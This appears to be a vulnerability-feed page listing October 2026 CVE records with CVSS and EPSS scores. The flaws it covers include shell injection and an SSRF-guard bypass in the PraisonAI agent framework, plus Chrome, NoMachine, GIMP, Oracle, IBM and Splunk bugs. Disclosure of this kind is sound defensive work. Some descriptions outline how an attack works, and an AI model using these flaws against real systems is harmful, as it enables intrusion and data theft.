Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### PraisonAI is a multi-agent teams system.
https://kevwire.com/record/CVE-2026-57117
PraisonAI is a multi-agent teams system. (Oct 23, 2026).
PraisonAI is a multi-agent teams system. From version 4.6.10 to before version 4.6.59, LocalManagedAgent / SandboxedAgent compute bridging wraps read_file, list_files, and write_file when a compute provider is attached. The bridge converts those file operations into shell command strings using raw path arguments, then sends those strings to shell-backed compute providers. An attacker who can influence a file-tool path argument can break out of the quoted path and execute arbitrary shell commands in the compute environment. With compute="local", commands execute through the local subprocess compute provider on the host. With Docker, commands execute in the container. This issue has been patched in version 4.6.59.
CVSS 8.8 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-57117).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-57117&date=2026-10-25).
Sources:
NVD CVE-2026-57117: https://nvd.nist.gov/vuln/detail/CVE-2026-57117
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-57117&date=2026-10-25
PraisonAI is a multi-agent teams system. From version 4.6.10 to before version 4.6.59, LocalManagedAgent / SandboxedAgent compute bridging wraps read_file, list_files, and write_file when a compute provider is attached. The bridge converts those file operations into shell command strings using raw path arguments, then sends those strings to shell-backed compute providers. An attacker who can influence a file-tool path argument can break out of the quoted path and execute arbitrary shell commands in the compute environment. With compute="local", commands execute through the local subprocess compute provider on the host. With Docker, commands execute in the container. This issue has been patched in version 4.6.59.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### PraisonAI is a multi-agent teams system.
https://kevwire.com/record/CVE-2026-57116
PraisonAI is a multi-agent teams system. (Oct 23, 2026).
PraisonAI is a multi-agent teams system. From version 4.2.1 to before version 4.6.59, PraisonAI's AgentOS FastAPI deployment surface remains unauthenticated in current main and in releases after the published patched version for GHSA-pm96-6xpr-978x / CVE-2026-40151. The chat route directly calls agent.chat(request.message). No-auth and wrong-bearer requests both execute the deployed agent. This is broader than passive metadata disclosure. In any deployment where AgentOS wraps agents with tools, private context, memory, API integrations, or cost-bearing model calls, an unauthenticated reachable client can drive those agents. This issue has been patched in version 4.6.59.
CVSS 9.8 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-57116).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-57116&date=2026-10-25).
Sources:
NVD CVE-2026-57116: https://nvd.nist.gov/vuln/detail/CVE-2026-57116
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-57116&date=2026-10-25
PraisonAI is a multi-agent teams system. From version 4.2.1 to before version 4.6.59, PraisonAI's AgentOS FastAPI deployment surface remains unauthenticated in current main and in releases after the published patched version for GHSA-pm96-6xpr-978x / CVE-2026-40151. The chat route directly calls agent.chat(request.message). No-auth and wrong-bearer requests both execute the deployed agent. This is broader than passive metadata disclosure. In any deployment where AgentOS wraps agents with tools, private context, memory, API integrations, or cost-bearing model calls, an unauthenticated reachable client can drive those agents. This issue has been patched in version 4.6.59.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### PraisonAI is a multi-agent teams system.
https://kevwire.com/record/CVE-2026-57114
PraisonAI is a multi-agent teams system. (Oct 23, 2026).
PraisonAI is a multi-agent teams system. From version 4.5.126 to before version 4.6.59, PraisonAI's Async Jobs API validates webhook_url when a job request is parsed and again when the internal Job object is constructed. That validation blocks direct loopback/private targets, but it is not bound to the later network request. When a job completes, _send_webhook() passes the original hostname to httpx.AsyncClient.post() with no send-time validation, IP pinning, or guarded transport. An attacker-controlled hostname can therefore resolve to a public IP during Pydantic validation and later resolve to loopback/private/cloud-metadata infrastructure during webhook delivery. This bypasses the intended SSRF guard in current supported releases. This appears to be an incomplete fix / patch bypass for GHSA-8frj-8q3m-xhgm. This issue has been patched in version 4.6.59.
CVSS 7.2 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-57114).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-57114&date=2026-10-25).
Sources:
NVD CVE-2026-57114: https://nvd.nist.gov/vuln/detail/CVE-2026-57114
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-57114&date=2026-10-25
PraisonAI is a multi-agent teams system. From version 4.5.126 to before version 4.6.59, PraisonAI's Async Jobs API validates webhook_url when a job request is parsed and again when the internal Job object is constructed. That validation blocks direct loopback/private targets, but it is not bound to the later network request. When a job completes, _send_webhook() passes the original hostname to httpx.AsyncClient.post() with no send-time validation, IP pinning, or guarded transport. An attacker-controlled hostname can therefore resolve to a public IP during Pydantic validation and later resolve to loopback/private/cloud-metadata infrastructure during webhook delivery. This bypasses the intended SSRF guard in current supported releases. This appears to be an incomplete fix / patch bypass for GHSA-8frj-8q3m-xhgm. This issue has been patched in version 4.6.59.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in PDFium in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113022
Memory corruption in PDFium in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in PDFium in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113022).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113022&date=2026-10-25).
Sources:
NVD CVE-2026-113022: https://nvd.nist.gov/vuln/detail/CVE-2026-113022
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113022&date=2026-10-25
Memory corruption in PDFium in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Animation in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-112995
Use after free in Animation in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Animation in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112995).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112995&date=2026-10-25).
Sources:
NVD CVE-2026-112995: https://nvd.nist.gov/vuln/detail/CVE-2026-112995
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112995&date=2026-10-25
Use after free in Animation in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in Browser in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-112994
Memory corruption in Browser in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in Browser in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112994).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112994&date=2026-10-25).
Sources:
NVD CVE-2026-112994: https://nvd.nist.gov/vuln/detail/CVE-2026-112994
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112994&date=2026-10-25
Memory corruption in Browser in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### In EmberZNet 9.1.1 and earlier, a malformed Publish Price Matrix command can result in an out-of-bounds write potentially leading to remote code execution.
https://kevwire.com/record/CVE-2026-94502
In EmberZNet 9.1.1 and earlier, a malformed Publish Price Matrix command can result in an out-of-bounds write potentially leading to remote code execution. (Oct 22, 2026).
In EmberZNet 9.1.1 and earlier, a malformed Publish Price Matrix command can result in an out-of-bounds write potentially leading to remote code execution. These messages must come from a device that has already joined the network. Only devices supporting the Price Cluster are impacted.
CVSS 7.5 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-94502).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-94502&date=2026-10-25).
Sources:
NVD CVE-2026-94502: https://nvd.nist.gov/vuln/detail/CVE-2026-94502
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-94502&date=2026-10-25
In EmberZNet 9.1.1 and earlier, a malformed Publish Price Matrix command can result in an out-of-bounds write potentially leading to remote code execution. These messages must come from a device that has already joined the network. Only devices supporting the Price Cluster are impacted.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM App Connect Enterprise 13.0.1.0 through 13.0.8.2 could allow a remote attacker to obtain sensitive information due to binding to an unrestricted IP address.
https://kevwire.com/record/CVE-2026-92559
IBM App Connect Enterprise 13.0.1.0 through 13.0.8.2 could allow a remote attacker to obtain sensitive information due to binding to an unrestricted IP address. (Oct 20, 2026).
IBM App Connect Enterprise 13.0.1.0 through 13.0.8.2 could allow a remote attacker to obtain sensitive information due to binding to an unrestricted IP address.
CVSS 9.8 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-92559).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-92559&date=2026-10-25).
Sources:
NVD CVE-2026-92559: https://nvd.nist.gov/vuln/detail/CVE-2026-92559
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-92559&date=2026-10-25
IBM App Connect Enterprise 13.0.1.0 through 13.0.8.2 could allow a remote attacker to obtain sensitive information due to binding to an unrestricted IP address.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### NoMachine Redis Improper Authentication Local Privilege Escalation Vulnerability.
https://kevwire.com/record/CVE-2026-92209
NoMachine Redis Improper Authentication Local Privilege Escalation Vulnerability. (Oct 21, 2026).
NoMachine Redis Improper Authentication Local Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of NoMachine. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.

The specific flaw exists within the authentication mechanism controlling access to the Redis database. The issue results from using insufficient entropy in the generation of credentials. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of the service account. Was ZDI-CAN-30984.
CVSS 7.8 (version 3.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-92209).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-92209&date=2026-10-25).
Sources:
NVD CVE-2026-92209: https://nvd.nist.gov/vuln/detail/CVE-2026-92209
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-92209&date=2026-10-25
NoMachine Redis Improper Authentication Local Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of NoMachine. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.

The specific flaw exists within the authentication mechanism controlling access to the Redis database. The issue results from using insufficient entropy in the generation of credentials. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of the service account. Was ZDI-CAN-30984.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### NoMachine mDNS Heap-based Buffer Overflow Remote Code Execution Vulnerability.
https://kevwire.com/record/CVE-2026-92208
NoMachine mDNS Heap-based Buffer Overflow Remote Code Execution Vulnerability. (Oct 21, 2026).
NoMachine mDNS Heap-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of NoMachine. Authentication is not required to exploit this vulnerability.

The specific flaw exists within the parsing of mDNS resource records. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a heap-based buffer. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-30982.
CVSS 8.8 (version 3.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-92208).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-92208&date=2026-10-25).
Sources:
NVD CVE-2026-92208: https://nvd.nist.gov/vuln/detail/CVE-2026-92208
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-92208&date=2026-10-25
NoMachine mDNS Heap-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of NoMachine. Authentication is not required to exploit this vulnerability.

The specific flaw exists within the parsing of mDNS resource records. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a heap-based buffer. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-30982.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### GIMP APNG File Parsing Stack-based Buffer Overflow Remote Code Execution Vulnerability.
https://kevwire.com/record/CVE-2026-92183
GIMP APNG File Parsing Stack-based Buffer Overflow Remote Code Execution Vulnerability. (Oct 21, 2026).
GIMP APNG File Parsing Stack-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of GIMP. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.

The specific flaw exists within the parsing of APNG files. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a stack-based buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-29400.
CVSS 7.8 (version 3.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-92183).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-92183&date=2026-10-25).
Sources:
NVD CVE-2026-92183: https://nvd.nist.gov/vuln/detail/CVE-2026-92183
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-92183&date=2026-10-25
GIMP APNG File Parsing Stack-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of GIMP. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.

The specific flaw exists within the parsing of APNG files. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a stack-based buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-29400.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the JD Edwards EnterpriseOne Orchestrator product of Oracle JD Edwards (component: E1 IOT Orchestrator Security).
https://kevwire.com/record/CVE-2026-91299
Vulnerability in the JD Edwards EnterpriseOne Orchestrator product of Oracle JD Edwards (component: E1 IOT Orchestrator Security). (Oct 20, 2026).
Vulnerability in the JD Edwards EnterpriseOne Orchestrator product of Oracle JD Edwards (component: E1 IOT Orchestrator Security).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Orchestrator.  While the vulnerability is in JD Edwards EnterpriseOne Orchestrator, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Orchestrator. CVSS 3.1 Base Score 10.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).
CVSS 10.0 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91299).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91299&date=2026-10-25).
Sources:
NVD CVE-2026-91299: https://nvd.nist.gov/vuln/detail/CVE-2026-91299
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91299&date=2026-10-25
Vulnerability in the JD Edwards EnterpriseOne Orchestrator product of Oracle JD Edwards (component: E1 IOT Orchestrator Security).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Orchestrator.  While the vulnerability is in JD Edwards EnterpriseOne Orchestrator, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Orchestrator. CVSS 3.1 Base Score 10.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in Oracle GoldenGate (component: Admin Server Executable).
https://kevwire.com/record/CVE-2026-87351
Vulnerability in Oracle GoldenGate (component: Admin Server Executable). (Oct 20, 2026).
Vulnerability in Oracle GoldenGate (component: Admin Server Executable).  Supported versions that are affected are 19.1.0.0.0-19.32.0.0,   21.3-21.23 and   23.4-23.26.3.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTPS to compromise Oracle GoldenGate.  Successful attacks of this vulnerability can result in takeover of Oracle GoldenGate. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.8 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87351).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87351&date=2026-10-25).
Sources:
NVD CVE-2026-87351: https://nvd.nist.gov/vuln/detail/CVE-2026-87351
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87351&date=2026-10-25
Vulnerability in Oracle GoldenGate (component: Admin Server Executable).  Supported versions that are affected are 19.1.0.0.0-19.32.0.0,   21.3-21.23 and   23.4-23.26.3.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTPS to compromise Oracle GoldenGate.  Successful attacks of this vulnerability can result in takeover of Oracle GoldenGate. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM Guardium Data Protection 12.1, and 12.2 could allow a remote attacker to obtain sensitive information due to use of a hard-coded cryptographic key.
https://kevwire.com/record/CVE-2026-82891
IBM Guardium Data Protection 12.1, and 12.2 could allow a remote attacker to obtain sensitive information due to use of a hard-coded cryptographic key. (Oct 20, 2026).
IBM Guardium Data Protection 12.1, and 12.2 could allow a remote attacker to obtain sensitive information due to use of a hard-coded cryptographic key.
CVSS 8.1 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-82891).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-82891&date=2026-10-25).
Sources:
NVD CVE-2026-82891: https://nvd.nist.gov/vuln/detail/CVE-2026-82891
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-82891&date=2026-10-25
IBM Guardium Data Protection 12.1, and 12.2 could allow a remote attacker to obtain sensitive information due to use of a hard-coded cryptographic key.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM Planning Analytics 2.0 and 2.1 are vulnerable to a stack-based buffer overflow, caused by improper bounds checking.
https://kevwire.com/record/CVE-2026-76587
IBM Planning Analytics 2.0 and 2.1 are vulnerable to a stack-based buffer overflow, caused by improper bounds checking. (Oct 20, 2026).
IBM Planning Analytics 2.0 and 2.1 are vulnerable to a stack-based buffer overflow, caused by improper bounds checking. An attacker could overflow the buffer and execute arbitrary code on the system.
CVSS 8.8 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-76587).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-76587&date=2026-10-25).
Sources:
NVD CVE-2026-76587: https://nvd.nist.gov/vuln/detail/CVE-2026-76587
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-76587&date=2026-10-25
IBM Planning Analytics 2.0 and 2.1 are vulnerable to a stack-based buffer overflow, caused by improper bounds checking. An attacker could overflow the buffer and execute arbitrary code on the system.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### In Splunk Enterprise versions below 10.4.4, 10.2.8, 10.0.11, and 9.4.16, a user that holds a role with the schedule_search capability could bypass the expected safeguards in the...
https://kevwire.com/record/CVE-2026-76291
In Splunk Enterprise versions below 10.4.4, 10.2.8, 10.0.11, and 9.4.16, a user that holds a role with the schedule_search capability could bypass the expected safeguards in the... (Oct 21, 2026).
In Splunk Enterprise versions below 10.4.4, 10.2.8, 10.0.11, and 9.4.16, a user that holds a role with the schedule_search capability could bypass the expected safeguards in the scheduled search workflow. The user could then run risky Search Processing Language (SPL) commands that disclose or alter Splunk Enterprise data or disrupt Splunk Enterprise availability.
The vulnerability is possible because the Splunk Enterprise search scheduler does not apply SPL safeguards for risky commands to scheduled searches.
For more information see SPL safeguards for risky commands (https://help.splunk.com/en/splunk-enterprise/administer/manage-users-and-security/10.6/best-practices-for-splunk-platform-security/spl-safeguards-for-risky-commands) in the Splunk documentation.
For more information see authorize.conf (https://help.splunk.com/en/data-management/splunk-enterprise-admin-manual/10.6/configuration-file-reference/10.6.0-configuration-file-reference/authorize.conf) in the Splunk documentation.
CVSS 8.8 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-76291).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-76291&date=2026-10-25).
Sources:
NVD CVE-2026-76291: https://nvd.nist.gov/vuln/detail/CVE-2026-76291
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-76291&date=2026-10-25
In Splunk Enterprise versions below 10.4.4, 10.2.8, 10.0.11, and 9.4.16, a user that holds a role with the schedule_search capability could bypass the expected safeguards in the scheduled search workflow. The user could then run risky Search Processing Language (SPL) commands that disclose or alter Splunk Enterprise data or disrupt Splunk Enterprise availability.
The vulnerability is possible because the Splunk Enterprise search scheduler does not apply SPL safeguards for risky commands to scheduled searches.
For more information see SPL safeguards for risky commands (https://help.splunk.com/en/splunk-enterprise/administer/manage-users-and-security/10.6/best-practices-for-splunk-platform-security/spl-safeguards-for-risky-commands) in the Splunk documentation.
For more information see authorize.conf (https://help.splunk.com/en/data-management/splunk-enterprise-admin-manual/10.6/configuration-file-reference/10.6.0-configuration-file-reference/authorize.conf) in the Splunk documentation.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### In Connect SDK 4.3.1 and earlier and Flex SDK 3.7.7 and earlier, a message with invalid security settings may bypass authentication resulting in network disruption.
https://kevwire.com/record/CVE-2026-66279
In Connect SDK 4.3.1 and earlier and Flex SDK 3.7.7 and earlier, a message with invalid security settings may bypass authentication resulting in network disruption. (Oct 22, 2026).
